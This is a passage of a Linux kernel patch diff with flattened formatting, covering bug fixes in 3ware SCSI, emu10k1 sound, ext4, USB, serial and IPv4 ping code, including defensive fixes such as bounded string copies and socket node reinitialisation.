vmbus_request_offers(void) + goto cleanup; + } + +- t = wait_for_completion_timeout(&msginfo->waitevent, 5*HZ); +- if (t == 0) { +- ret = -ETIMEDOUT; +- goto cleanup; +- } +- +- +- + cleanup: + kfree(msginfo); + +diff --git a/drivers/mtd/ubi/misc.c b/drivers/mtd/ubi/misc.c +index f913d701a5b3..c4b1af07a121 100644 +--- a/drivers/mtd/ubi/misc.c ++++ b/drivers/mtd/ubi/misc.c +@@ -74,6 +74,8 @@ int ubi_check_volume(struct ubi_device *ubi, int vol_id) + for (i = 0; i < vol->used_ebs; i++) { + int size; + ++ cond_resched(); ++ + if (i == vol->used_ebs - 1) + size = vol->last_eb_bytes; + else +diff --git a/drivers/scsi/3w-9xxx.c b/drivers/scsi/3w-9xxx.c +index 0a7325361d29..5f57e3d35e26 100644 +--- a/drivers/scsi/3w-9xxx.c ++++ b/drivers/scsi/3w-9xxx.c +@@ -149,7 +149,6 @@ static int twa_reset_sequence(TW_Device_Extension *tw_dev, int soft_reset); + static int twa_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, char *cdb, int use_sg, TW_SG_Entry *sglistarg); + static void twa_scsiop_execute_scsi_complete(TW_Device_Extension *tw_dev, int request_id); + static char *twa_string_lookup(twa_message_type *table, unsigned int aen_code); +-static void twa_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id); + + /* Functions */ + +@@ -1352,11 +1351,11 @@ static irqreturn_t twa_interrupt(int irq, void *dev_instance) + } + + /* Now complete the io */ ++ scsi_dma_unmap(cmd); ++ cmd->scsi_done(cmd); + tw_dev->state[request_id] = TW_S_COMPLETED; + twa_free_request_id(tw_dev, request_id); + tw_dev->posted_request_count--; +- tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); +- twa_unmap_scsi_data(tw_dev, request_id); + } + + /* Check for valid status after each drain */ +@@ -1414,26 +1413,6 @@ static void twa_load_sgl(TW_Device_Extension *tw_dev, TW_Command_Full *full_comm + } + } /* End twa_load_sgl() */ + +-/* This function will perform a pci-dma mapping for a scatter gather list */ +-static int twa_map_scsi_sg_data(TW_Device_Extension *tw_dev, int request_id) +-{ +- int use_sg; +- struct scsi_cmnd *cmd = tw_dev->srb[request_id]; +- +- use_sg = scsi_dma_map(cmd); +- if (!use_sg) +- return 0; +- else if (use_sg < 0) { +- TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1c, "Failed to map scatter gather list"); +- return 0; +- } +- +- cmd->SCp.phase = TW_PHASE_SGLIST; +- cmd->SCp.have_data_in = use_sg; +- +- return use_sg; +-} /* End twa_map_scsi_sg_data() */ +- + /* This function will poll for a response interrupt of a request */ + static int twa_poll_response(TW_Device_Extension *tw_dev, int request_id, int seconds) + { +@@ -1612,9 +1591,11 @@ static int twa_reset_device_extension(TW_Device_Extension *tw_dev) + (tw_dev->state[i] != TW_S_INITIAL) && + (tw_dev->state[i] != TW_S_COMPLETED)) { + if (tw_dev->srb[i]) { +- tw_dev->srb[i]->result = (DID_RESET << 16); +- tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); +- twa_unmap_scsi_data(tw_dev, i); ++ struct scsi_cmnd *cmd = tw_dev->srb[i]; ++ ++ cmd->result = (DID_RESET << 16); ++ scsi_dma_unmap(cmd); ++ cmd->scsi_done(cmd); + } + } + } +@@ -1793,21 +1774,18 @@ static int twa_scsi_queue_lck(struct scsi_cmnd *SCpnt, void (*done)(struct scsi_ + /* Save the scsi command for use by the ISR */ + tw_dev->srb[request_id] = SCpnt; + +- /* Initialize phase to zero */ +- SCpnt->SCp.phase = TW_PHASE_INITIAL; +- + retval = twa_scsiop_execute_scsi(tw_dev, request_id, NULL, 0, NULL); + switch (retval) { + case SCSI_MLQUEUE_HOST_BUSY: ++ scsi_dma_unmap(SCpnt); + twa_free_request_id(tw_dev, request_id); +- twa_unmap_scsi_data(tw_dev, request_id); + break; + case 1: +- tw_dev->state[request_id] = TW_S_COMPLETED; +- twa_free_request_id(tw_dev, request_id); +- twa_unmap_scsi_data(tw_dev, request_id); + SCpnt->result = (DID_ERROR << 16); ++ scsi_dma_unmap(SCpnt); + done(SCpnt); ++ tw_dev->state[request_id] = TW_S_COMPLETED; ++ twa_free_request_id(tw_dev, request_id); + retval = 0; + } + out: +@@ -1875,8 +1853,8 @@ static int twa_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, + command_packet->sg_list[0].address = TW_CPU_TO_SGL(tw_dev->generic_buffer_phys[request_id]); + command_packet->sg_list[0].length = cpu_to_le32(TW_MIN_SGL_LENGTH); + } else { +- sg_count = twa_map_scsi_sg_data(tw_dev, request_id); +- if (sg_count == 0) ++ sg_count = scsi_dma_map(srb); ++ if (sg_count < 0) + goto out; + + scsi_for_each_sg(srb, sg, sg_count, i) { +@@ -1991,15 +1969,6 @@ static char *twa_string_lookup(twa_message_type *table, unsigned int code) + return(table[index].text); + } /* End twa_string_lookup() */ + +-/* This function will perform a pci-dma unmap */ +-static void twa_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id) +-{ +- struct scsi_cmnd *cmd = tw_dev->srb[request_id]; +- +- if (cmd->SCp.phase == TW_PHASE_SGLIST) +- scsi_dma_unmap(cmd); +-} /* End twa_unmap_scsi_data() */ +- + /* This function gets called when a disk is coming on-line */ + static int twa_slave_configure(struct scsi_device *sdev) + { +diff --git a/drivers/scsi/3w-9xxx.h b/drivers/scsi/3w-9xxx.h +index 040f7214e5b7..0fdc83cfa0e1 100644 +--- a/drivers/scsi/3w-9xxx.h ++++ b/drivers/scsi/3w-9xxx.h +@@ -324,11 +324,6 @@ static twa_message_type twa_error_table[] = { + #define TW_CURRENT_DRIVER_BUILD 0 + #define TW_CURRENT_DRIVER_BRANCH 0 + +-/* Phase defines */ +-#define TW_PHASE_INITIAL 0 +-#define TW_PHASE_SINGLE 1 +-#define TW_PHASE_SGLIST 2 +- + /* Misc defines */ + #define TW_9550SX_DRAIN_COMPLETED 0xFFFF + #define TW_SECTOR_SIZE 512 +diff --git a/drivers/scsi/3w-sas.c b/drivers/scsi/3w-sas.c +index 4de346017e9f..61702ac00d42 100644 +--- a/drivers/scsi/3w-sas.c ++++ b/drivers/scsi/3w-sas.c +@@ -303,26 +303,6 @@ static int twl_post_command_packet(TW_Device_Extension *tw_dev, int request_id) + return 0; + } /* End twl_post_command_packet() */ + +-/* This function will perform a pci-dma mapping for a scatter gather list */ +-static int twl_map_scsi_sg_data(TW_Device_Extension *tw_dev, int request_id) +-{ +- int use_sg; +- struct scsi_cmnd *cmd = tw_dev->srb[request_id]; +- +- use_sg = scsi_dma_map(cmd); +- if (!use_sg) +- return 0; +- else if (use_sg < 0) { +- TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1, "Failed to map scatter gather list"); +- return 0; +- } +- +- cmd->SCp.phase = TW_PHASE_SGLIST; +- cmd->SCp.have_data_in = use_sg; +- +- return use_sg; +-} /* End twl_map_scsi_sg_data() */ +- + /* This function hands scsi cdb's to the firmware */ + static int twl_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, char *cdb, int use_sg, TW_SG_Entry_ISO *sglistarg) + { +@@ -370,8 +350,8 @@ static int twl_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, + if (!sglistarg) { + /* Map sglist from scsi layer to cmd packet */ + if (scsi_sg_count(srb)) { +- sg_count = twl_map_scsi_sg_data(tw_dev, request_id); +- if (sg_count == 0) ++ sg_count = scsi_dma_map(srb); ++ if (sg_count <= 0) + goto out; + + scsi_for_each_sg(srb, sg, sg_count, i) { +@@ -1116,15 +1096,6 @@ out: + return retval; + } /* End twl_initialize_device_extension() */ + +-/* This function will perform a pci-dma unmap */ +-static void twl_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id) +-{ +- struct scsi_cmnd *cmd = tw_dev->srb[request_id]; +- +- if (cmd->SCp.phase == TW_PHASE_SGLIST) +- scsi_dma_unmap(cmd); +-} /* End twl_unmap_scsi_data() */ +- + /* This function will handle attention interrupts */ + static int twl_handle_attention_interrupt(TW_Device_Extension *tw_dev) + { +@@ -1265,11 +1236,11 @@ static irqreturn_t twl_interrupt(int irq, void *dev_instance) + } + + /* Now complete the io */ ++ scsi_dma_unmap(cmd); ++ cmd->scsi_done(cmd); + tw_dev->state[request_id] = TW_S_COMPLETED; + twl_free_request_id(tw_dev, request_id); + tw_dev->posted_request_count--; +- tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); +- twl_unmap_scsi_data(tw_dev, request_id); + } + + /* Check for another response interrupt */ +@@ -1414,10 +1385,12 @@ static int twl_reset_device_extension(TW_Device_Extension *tw_dev, int ioctl_res + if ((tw_dev->state[i] != TW_S_FINISHED) && + (tw_dev->state[i] != TW_S_INITIAL) && + (tw_dev->state[i] != TW_S_COMPLETED)) { +- if (tw_dev->srb[i]) { +- tw_dev->srb[i]->result = (DID_RESET << 16); +- tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); +- twl_unmap_scsi_data(tw_dev, i); ++ struct scsi_cmnd *cmd = tw_dev->srb[i]; ++ ++ if (cmd) { ++ cmd->result = (DID_RESET << 16); ++ scsi_dma_unmap(cmd); ++ cmd->scsi_done(cmd); + } + } + } +@@ -1521,9 +1494,6 @@ static int twl_scsi_queue_lck(struct scsi_cmnd *SCpnt, void (*done)(struct scsi_ + /* Save the scsi command for use by the ISR */ + tw_dev->srb[request_id] = SCpnt; + +- /* Initialize phase to zero */ +- SCpnt->SCp.phase = TW_PHASE_INITIAL; +- + retval = twl_scsiop_execute_scsi(tw_dev, request_id, NULL, 0, NULL); + if (retval) { + tw_dev->state[request_id] = TW_S_COMPLETED; +diff --git a/drivers/scsi/3w-sas.h b/drivers/scsi/3w-sas.h +index d474892701d4..fec6449c7595 100644 +--- a/drivers/scsi/3w-sas.h ++++ b/drivers/scsi/3w-sas.h +@@ -103,10 +103,6 @@ static char *twl_aen_severity_table[] = + #define TW_CURRENT_DRIVER_BUILD 0 + #define TW_CURRENT_DRIVER_BRANCH 0 + +-/* Phase defines */ +-#define TW_PHASE_INITIAL 0 +-#define TW_PHASE_SGLIST 2 +- + /* Misc defines */ + #define TW_SECTOR_SIZE 512 + #define TW_MAX_UNITS 32 +diff --git a/drivers/scsi/3w-xxxx.c b/drivers/scsi/3w-xxxx.c +index 430ee3774c3b..8843ad783b41 100644 +--- a/drivers/scsi/3w-xxxx.c ++++ b/drivers/scsi/3w-xxxx.c +@@ -1283,32 +1283,6 @@ static int tw_initialize_device_extension(TW_Device_Extension *tw_dev) + return 0; + } /* End tw_initialize_device_extension() */ + +-static int tw_map_scsi_sg_data(struct pci_dev *pdev, struct scsi_cmnd *cmd) +-{ +- int use_sg; +- +- dprintk(KERN_WARNING "3w-xxxx: tw_map_scsi_sg_data()\n"); +- +- use_sg = scsi_dma_map(cmd); +- if (use_sg < 0) { +- printk(KERN_WARNING "3w-xxxx: tw_map_scsi_sg_data(): pci_map_sg() failed.\n"); +- return 0; +- } +- +- cmd->SCp.phase = TW_PHASE_SGLIST; +- cmd->SCp.have_data_in = use_sg; +- +- return use_sg; +-} /* End tw_map_scsi_sg_data() */ +- +-static void tw_unmap_scsi_data(struct pci_dev *pdev, struct scsi_cmnd *cmd) +-{ +- dprintk(KERN_WARNING "3w-xxxx: tw_unmap_scsi_data()\n"); +- +- if (cmd->SCp.phase == TW_PHASE_SGLIST) +- scsi_dma_unmap(cmd); +-} /* End tw_unmap_scsi_data() */ +- + /* This function will reset a device extension */ + static int tw_reset_device_extension(TW_Device_Extension *tw_dev) + { +@@ -1331,8 +1305,8 @@ static int tw_reset_device_extension(TW_Device_Extension *tw_dev) + srb = tw_dev->srb[i]; + if (srb != NULL) { + srb->result = (DID_RESET << 16); +- tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); +- tw_unmap_scsi_data(tw_dev->tw_pci_dev, tw_dev->srb[i]); ++ scsi_dma_unmap(srb); ++ srb->scsi_done(srb); + } + } + } +@@ -1779,8 +1753,8 @@ static int tw_scsiop_read_write(TW_Device_Extension *tw_dev, int request_id) + command_packet->byte8.io.lba = lba; + command_packet->byte6.block_count = num_sectors; + +- use_sg = tw_map_scsi_sg_data(tw_dev->tw_pci_dev, tw_dev->srb[request_id]); +- if (!use_sg) ++ use_sg = scsi_dma_map(srb); ++ if (use_sg <= 0) + return 1; + + scsi_for_each_sg(tw_dev->srb[request_id], sg, use_sg, i) { +@@ -1967,9 +1941,6 @@ static int tw_scsi_queue_lck(struct scsi_cmnd *SCpnt, void (*done)(struct scsi_c + /* Save the scsi command for use by the ISR */ + tw_dev->srb[request_id] = SCpnt; + +- /* Initialize phase to zero */ +- SCpnt->SCp.phase = TW_PHASE_INITIAL; +- + switch (*command) { + case READ_10: + case READ_6: +@@ -2196,12 +2167,11 @@ static irqreturn_t tw_interrupt(int irq, void *dev_instance) + + /* Now complete the io */ + if ((error != TW_ISR_DONT_COMPLETE)) { ++ scsi_dma_unmap(tw_dev->srb[request_id]); ++ tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); + tw_dev->state[request_id] = TW_S_COMPLETED; + tw_state_request_finish(tw_dev, request_id); + tw_dev->posted_request_count--; +- tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); +- +- tw_unmap_scsi_data(tw_dev->tw_pci_dev, tw_dev->srb[request_id]); + } + } + +diff --git a/drivers/scsi/3w-xxxx.h b/drivers/scsi/3w-xxxx.h +index 49dcf03c631a..1d31858766ce 100644 +--- a/drivers/scsi/3w-xxxx.h ++++ b/drivers/scsi/3w-xxxx.h +@@ -195,11 +195,6 @@ static unsigned char tw_sense_table[][4] = + #define TW_AEN_SMART_FAIL 0x000F + #define TW_AEN_SBUF_FAIL 0x0024 + +-/* Phase defines */ +-#define TW_PHASE_INITIAL 0 +-#define TW_PHASE_SINGLE 1 +-#define TW_PHASE_SGLIST 2 +- + /* Misc defines */ + #define TW_ALIGNMENT_6000 64 /* 64 bytes */ + #define TW_ALIGNMENT_7000 4 /* 4 bytes */ +diff --git a/drivers/staging/panel/panel.c b/drivers/staging/panel/panel.c +index c54df3948e20..4d0a87b93b96 100644 +--- a/drivers/staging/panel/panel.c ++++ b/drivers/staging/panel/panel.c +@@ -275,11 +275,11 @@ static unsigned char lcd_bits[LCD_PORTS][LCD_BITS][BIT_STATES]; + * LCD types + */ + #define LCD_TYPE_NONE 0 +-#define LCD_TYPE_OLD 1 +-#define LCD_TYPE_KS0074 2 +-#define LCD_TYPE_HANTRONIX 3 +-#define LCD_TYPE_NEXCOM 4 +-#define LCD_TYPE_CUSTOM 5 ++#define LCD_TYPE_CUSTOM 1 ++#define LCD_TYPE_OLD 2 ++#define LCD_TYPE_KS0074 3 ++#define LCD_TYPE_HANTRONIX 4 ++#define LCD_TYPE_NEXCOM 5 + + /* + * keypad types +@@ -457,8 +457,7 @@ MODULE_PARM_DESC(keypad_enabled, "Deprecated option, use keypad_type instead"); + static int lcd_type = -1; + module_param(lcd_type, int, 0000); + MODULE_PARM_DESC(lcd_type, +- "LCD type: 0=none, 1=old //, 2=serial ks0074, " +- "3=hantronix //, 4=nexcom //, 5=compiled-in"); ++ "LCD type: 0=none, 1=compiled-in, 2=old, 3=serial ks0074, 4=hantronix, 5=nexcom"); + + static int lcd_proto = -1; + module_param(lcd_proto, int, 0000); +diff --git a/drivers/tty/serial/of_serial.c b/drivers/tty/serial/of_serial.c +index 39c7ea4cb14f..2225f83f4c04 100644 +--- a/drivers/tty/serial/of_serial.c ++++ b/drivers/tty/serial/of_serial.c +@@ -262,7 +262,6 @@ static struct of_device_id of_platform_serial_table[] = { + { .compatible = "ibm,qpace-nwp-serial", + .data = (void *)PORT_NWPSERIAL, }, + #endif +- { .type = "serial", .data = (void *)PORT_UNKNOWN, }, + { /* end of list */ }, + }; + +diff --git a/drivers/usb/gadget/printer.c b/drivers/usb/gadget/printer.c +index bf7a56b6d48a..a0dfdbddbf08 100644 +--- a/drivers/usb/gadget/printer.c ++++ b/drivers/usb/gadget/printer.c +@@ -975,6 +975,15 @@ unknown: + break; + } + /* host either stalls (value < 0) or reports success */ ++ if (value >= 0) { ++ req->length = value; ++ req->zero = value < wLength; ++ value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC); ++ if (value < 0) { ++ ERROR(dev, "%s:%d Error!\n", __func__, __LINE__); ++ req->status = 0; ++ } ++ } + return value; + } + +diff --git a/drivers/usb/host/oxu210hp-hcd.c b/drivers/usb/host/oxu210hp-hcd.c +index 0f401dbfaf07..b5c4f4d81a38 100644 +--- a/drivers/usb/host/oxu210hp-hcd.c ++++ b/drivers/usb/host/oxu210hp-hcd.c +@@ -2497,11 +2497,12 @@ static irqreturn_t oxu210_hcd_irq(struct usb_hcd *hcd) + || oxu->reset_done[i] != 0) + continue; + +- /* start 20 msec resume signaling from this port, +- * and make khubd collect PORT_STAT_C_SUSPEND to ++ /* start USB_RESUME_TIMEOUT resume signaling from this ++ * port, and make hub_wq collect PORT_STAT_C_SUSPEND to + * stop that signaling. + */ +- oxu->reset_done[i] = jiffies + msecs_to_jiffies(20); ++ oxu->reset_done[i] = jiffies + ++ msecs_to_jiffies(USB_RESUME_TIMEOUT); + oxu_dbg(oxu, "port %d remote wakeup\n", i + 1); + mod_timer(&hcd->rh_timer, oxu->reset_done[i]); + } +diff --git a/fs/ext4/extents_status.c b/fs/ext4/extents_status.c +index e6941e622d31..1fefeb7d14db 100644 +--- a/fs/ext4/extents_status.c ++++ b/fs/ext4/extents_status.c +@@ -655,6 +655,14 @@ int ext4_es_insert_extent(struct inode *inode, ext4_lblk_t lblk, + + BUG_ON(end < lblk); + ++ if ((status & EXTENT_STATUS_DELAYED) && ++ (status & EXTENT_STATUS_WRITTEN)) { ++ ext4_warning(inode->i_sb, "Inserting extent [%u/%u] as " ++ " delayed and written which can potentially " ++ " cause data loss.\n", lblk, len); ++ WARN_ON(1); ++ } ++ + newes.es_lblk = lblk; + newes.es_len = len; + ext4_es_store_pblock(&newes, pblk); +diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c +index e48bd5a1814b..9e3d8dd6c40a 100644 +--- a/fs/ext4/inode.c ++++ b/fs/ext4/inode.c +@@ -626,6 +626,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, + status = map->m_flags & EXT4_MAP_UNWRITTEN ? + EXTENT_STATUS_UNWRITTEN : EXTENT_STATUS_WRITTEN; + if (!(flags & EXT4_GET_BLOCKS_DELALLOC_RESERVE) && ++ !(status & EXTENT_STATUS_WRITTEN) && + ext4_find_delalloc_range(inode, map->m_lblk, + map->m_lblk + map->m_len - 1)) + status |= EXTENT_STATUS_DELAYED; +@@ -736,6 +737,7 @@ found: + status = map->m_flags & EXT4_MAP_UNWRITTEN ? + EXTENT_STATUS_UNWRITTEN : EXTENT_STATUS_WRITTEN; + if (!(flags & EXT4_GET_BLOCKS_DELALLOC_RESERVE) && ++ !(status & EXTENT_STATUS_WRITTEN) && + ext4_find_delalloc_range(inode, map->m_lblk, + map->m_lblk + map->m_len - 1)) + status |= EXTENT_STATUS_DELAYED; +diff --git a/include/sound/emu10k1.h b/include/sound/emu10k1.h +index dfb42ca6d043..8898cdeb42a4 100644 +--- a/include/sound/emu10k1.h ++++ b/include/sound/emu10k1.h +@@ -41,7 +41,8 @@ + + #define EMUPAGESIZE 4096 + #define MAXREQVOICES 8 +-#define MAXPAGES 8192 ++#define MAXPAGES0 4096 /* 32 bit mode */ ++#define MAXPAGES1 8192 /* 31 bit mode */ + #define RESERVED 0 + #define NUM_MIDI 16 + #define NUM_G 64 /* use all channels */ +@@ -50,8 +51,7 @@ + + /* FIXME? - according to the OSS driver the EMU10K1 needs a 29 bit DMA mask */ + #define EMU10K1_DMA_MASK 0x7fffffffUL /* 31bit */ +-#define AUDIGY_DMA_MASK 0x7fffffffUL /* 31bit FIXME - 32 should work? */ +- /* See ALSA bug #1276 - rlrevell */ ++#define AUDIGY_DMA_MASK 0xffffffffUL /* 32bit mode */ + + #define TMEMSIZE 256*1024 + #define TMEMSIZEREG 4 +@@ -468,8 +468,11 @@ + + #define MAPB 0x0d /* Cache map B */ + +-#define MAP_PTE_MASK 0xffffe000 /* The 19 MSBs of the PTE indexed by the PTI */ +-#define MAP_PTI_MASK 0x00001fff /* The 13 bit index to one of the 8192 PTE dwords */ ++#define MAP_PTE_MASK0 0xfffff000 /* The 20 MSBs of the PTE indexed by the PTI */ ++#define MAP_PTI_MASK0 0x00000fff /* The 12 bit index to one of the 4096 PTE dwords */ ++ ++#define MAP_PTE_MASK1 0xffffe000 /* The 19 MSBs of the PTE indexed by the PTI */ ++#define MAP_PTI_MASK1 0x00001fff /* The 13 bit index to one of the 8192 PTE dwords */ + + /* 0x0e, 0x0f: Not used */ + +@@ -1706,6 +1709,7 @@ struct snd_emu10k1 { + unsigned short model; /* subsystem id */ + unsigned int card_type; /* EMU10K1_CARD_* */ + unsigned int ecard_ctrl; /* ecard control bits */ ++ unsigned int address_mode; /* address mode */ + unsigned long dma_mask; /* PCI DMA mask */ + unsigned int delay_pcm_irq; /* in samples */ + int max_cache_pages; /* max memory size / PAGE_SIZE */ +diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c +index 698f3a2ac5ae..459b957104a8 100644 +--- a/net/ipv4/ping.c ++++ b/net/ipv4/ping.c +@@ -139,6 +139,7 @@ static void ping_v4_unhash(struct sock *sk) + if (sk_hashed(sk)) { + write_lock_bh(&ping_table.lock); + hlist_nulls_del(&sk->sk_nulls_node); ++ sk_nulls_node_init(&sk->sk_nulls_node); + sock_put(sk); + isk->inet_num = 0; + isk->inet_sport = 0; +diff --git a/sound/pci/emu10k1/emu10k1.c b/sound/pci/emu10k1/emu10k1.c +index 8c5010f7889c..70e6fe186d34 100644 +--- a/sound/pci/emu10k1/emu10k1.c ++++ b/sound/pci/emu10k1/emu10k1.c +@@ -181,8 +181,10 @@ static int snd_card_emu10k1_probe(struct pci_dev *pci, + } + #endif + +- strcpy(card->driver, emu->card_capabilities->driver); +- strcpy(card->shortname, emu->card_capabilities->name); ++ strlcpy(card->driver, emu->card_capabilities->driver, ++ sizeof(card->driver)); ++ strlcpy(card->shortname, emu->card_capabilities->name, ++ sizeof(card->shortname)); + snprintf(card->longname, sizeof(card->longname), + "%s (rev.%d, serial:0x%x) at 0x%lx, irq %i", + card->shortname, emu->revision, emu->serial, emu->port, emu->irq); +diff --git a/sound/pci/emu10k1/emu10k1_callback.c b/sound/pci/emu10k1/emu10k1_callback.c +index 0a34b5f1c475..f8a6549f00e5 100644 +--- a/sound/pci/emu10k1/emu10k1_callback.c ++++ b/sound/pci/emu10k1/emu10k1_callback.c +@@ -415,7 +415,7 @@ start_voice(struct snd_emux_voice *vp) + snd_emu10k1_ptr_write(hw, Z2, ch, 0); + + /* invalidate maps */ +- temp = (hw->silent_page.addr << 1) | MAP_PTI_MASK; ++ temp = (hw->silent_page.addr << hw->address_mode) | (hw->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); + snd_emu10k1_ptr_write(hw, MAPA, ch, temp); + snd_emu10k1_ptr_write(hw, MAPB, ch, temp); + #if 0 +@@ -436,7 +436,7 @@ start_voice(struct snd_emux_voice *vp) + snd_emu10k1_ptr_write(hw, CDF, ch, sample); + + /* invalidate maps */ +- temp = ((unsigned int)hw->silent_page.addr << 1) | MAP_PTI_MASK; ++ temp = ((unsigned int)hw->silent_page.addr << hw_address_mode) | (hw->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); + snd_emu10k1_ptr_write(hw, MAPA, ch, temp); + snd_emu10k1_ptr_write(hw, MAPB, ch, temp); + +diff --git a/sound/pci/emu10k1/emu10k1_main.c b/sound/pci/emu10k1/emu10k1_main.c +index bdd888ec9a84..a131092572e6 100644 +--- a/sound/pci/emu10k1/emu10k1_main.c ++++ b/sound/pci/emu10k1/emu10k1_main.c +@@ -282,7 +282,7 @@ static int snd_emu10k1_init(struct snd_emu10k1 *emu, int enable_ir, int resume) + snd_emu10k1_ptr_write(emu, TCB, 0, 0); /* taken from original driver */ + snd_emu10k1_ptr_write(emu, TCBS, 0, 4); /* taken from original driver */ + +- silent_page = (emu->silent_page.addr << 1) | MAP_PTI_MASK; ++ silent_page = (emu->silent_page.addr << emu->address_mode) | (emu->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); + for (ch = 0; ch < NUM_G; ch++) { + snd_emu10k1_ptr_write(emu, MAPA, ch, silent_page); + snd_emu10k1_ptr_write(emu, MAPB, ch, silent_page); +@@ -348,6 +348,11 @@ static int snd_emu10k1_init(struct snd_emu10k1 *emu, int enable_ir, int resume) + outl(reg | A_IOCFG_GPOUT0, emu->port + A_IOCFG); + } + ++ if (emu->address_mode == 0) { ++ /* use 16M in 4G */ ++ outl(inl(emu->port + HCFG) | HCFG_EXPANDED_MEM, emu->port + HCFG); ++ } ++ + return 0; + } + +@@ -1411,7 +1416,7 @@ static struct snd_emu_chip_details emu_chip_details[] = { + * + */ + {.vendor = 0x1102, .device = 0x0008, .subsystem = 0x20011102, +- .driver = "Audigy2", .name = "SB Audigy 2 ZS Notebook [SB0530]", ++ .driver = "Audigy2", .name = "Audigy 2 ZS Notebook [SB0530]", + .id = "Audigy2", + .emu10k2_chip = 1, + .ca0108_chip = 1, +@@ -1561,7 +1566,7 @@ static struct snd_emu_chip_details emu_chip_details[] = { + .adc_1361t = 1, /* 24 bit capture instead of 16bit */ + .ac97_chip = 1} , + {.vendor = 0x1102, .device = 0x0004, .subsystem = 0x10051102, +- .driver = "Audigy2", .name = "SB Audigy 2 Platinum EX [SB0280]", ++ .driver = "Audigy2", .name = "Audigy 2 Platinum EX [SB0280]", + .id = "Audigy2", + .emu10k2_chip = 1, + .ca0102_chip = 1, +@@ -1865,8 +1870,10 @@ int snd_emu10k1_create(struct snd_card *card, + + is_audigy = emu->audigy = c->emu10k2_chip; + ++ /* set addressing mode */ ++ emu->address_mode = is_audigy ? 0 : 1; + /* set the DMA transfer mask */ +- emu->dma_mask = is_audigy ? AUDIGY_DMA_MASK : EMU10K1_DMA_MASK; ++ emu->dma_mask = emu->address_mode ? EMU10K1_DMA_MASK : AUDIGY_DMA_MASK; + if (pci_set_dma_mask(pci, emu->dma_mask) < 0 || + pci_set_consistent_dma_mask(pci, emu->dma_mask) < 0) { + snd_printk(KERN_ERR "architecture does not support PCI busmaster DMA with mask 0x%lx\n", emu->dma_mask); +@@ -1889,7 +1896,7 @@ int snd_emu10k1_create(struct snd_card *card, + + emu->max_cache_pages = max_cache_bytes >> PAGE_SHIFT; + if (snd_dma_alloc_pages(SNDRV_DMA_TYPE_DEV, snd_dma_pci_data(pci), +- 32 * 1024, &emu->ptb_pages) < 0) { ++ (emu->address_mode ? 32 : 16) * 1024, &emu->ptb_pages) < 0) { + err = -ENOMEM; + goto error; + } +@@ -1988,8 +1995,8 @@ int snd_emu10k1_create(struct snd_card *card, + + /* Clear silent pages and set up pointers */ + memset(emu->silent_page.area, 0, PAGE_SIZE); +- silent_page = emu->silent_page.addr << 1; +- for (idx = 0; idx < MAXPAGES; idx++) ++ silent_page = emu->silent_page.addr << emu->address_mode; ++ for (idx = 0; idx < (emu->address_mode ? MAXPAGES1 : MAXPAGES0); idx++) + ((u32 *)emu->ptb_pages.area)[idx] = cpu_to_le32(silent_page | idx); + + /* set up voice indices */ +diff --git a/sound/pci/emu10k1/emupcm.c b/sound/pci/emu10k1/emupcm.c +index 5ae1d045bdcb..7581019d7c84 100644 +--- a/sound/pci/emu10k1/emupcm.c ++++ b/sound/pci/emu10k1/emupcm.c +@@ -379,7 +379,7 @@ static void snd_emu10k1_pcm_init_voice(struct snd_emu10k1 *emu, + snd_emu10k1_ptr_write(emu, Z1, voice, 0); + snd_emu10k1_ptr_write(emu, Z2, voice, 0); + /* invalidate maps */ +- silent_page = ((unsigned int)emu->silent_page.addr << 1) | MAP_PTI_MASK; ++ silent_page = ((unsigned int)emu->silent_page.addr << emu->address_mode) | (emu->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); + snd_emu10k1_ptr_write(emu, MAPA, voice, silent_page); + snd_emu10k1_ptr_write(emu, MAPB, voice, silent_page); + /* modulation envelope */ +diff --git a/sound/pci/emu10k1/memory.c b/sound/pci/emu10k1/memory.c +index ae709c1ab3a8..d514458efe3d 100644 +--- a/sound/pci/emu10k1/memory.c ++++ b/sound/pci/emu10k1/memory.c +@@ -34,10 +34,11 @@ + * aligned pages in others + */ + #define __set_ptb_entry(emu,page,addr) \ +- (((u32 *)(emu)->ptb_pages.area)[page] = cpu_to_le32(((addr) << 1) | (page))) ++ (((u32 *)(emu)->ptb_pages.area)[page] = cpu_to_le32(((addr) << (emu->address_mode)) | (page))) + + #define UNIT_PAGES (PAGE_SIZE / EMUPAGESIZE) +-#define MAX_ALIGN_PAGES (MAXPAGES / UNIT_PAGES) ++#define MAX_ALIGN_PAGES0 (MAXPAGES0 / UNIT_PAGES) ++#define MAX_ALIGN_PAGES1 (MAXPAGES1 / UNIT_PAGES) + /* get aligned page from offset address */ + #define get_aligned_page(offset) ((offset) >> PAGE_SHIFT) + /* get offset address from aligned page */ +@@ -124,7 +125,7 @@ static int search_empty_map_area(struct snd_emu10k1 *emu, int npages, struct lis + } + page = blk->mapped_page + blk->pages; + } +- size = MAX_ALIGN_PAGES - page; ++ size = (emu->address_mode ? MAX_ALIGN_PAGES1 : MAX_ALIGN_PAGES0) - page; + if (size >= max_size) { + *nextp = pos; + return page; +@@ -181,7 +182,7 @@ static int unmap_memblk(struct snd_emu10k1 *emu, struct snd_emu10k1_memblk *blk) + q = get_emu10k1_memblk(p, mapped_link); + end_page = q->mapped_page; + } else +- end_page = MAX_ALIGN_PAGES; ++ end_page = (emu->address_mode 